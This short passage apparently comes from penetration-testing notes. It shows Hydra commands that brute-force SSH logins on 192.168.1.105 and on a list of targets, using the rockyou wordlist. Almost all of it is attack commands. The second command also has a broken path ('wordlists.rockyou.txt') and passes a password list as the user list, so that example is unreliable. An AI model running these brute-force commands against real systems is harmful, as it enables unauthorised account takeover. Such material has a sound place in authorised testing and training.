Rockyou is long

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 ssh

Hydra also accepts wordlists for users and targets. They can be specified with the -L flag for users, and the -M flag for IPs.

With list of user :

hydra -L /usr/share/wordlists.rockyou.txt -P /usr/share/wordlists/rockyou.txt -M Documents/ip.txt -t 4 ssh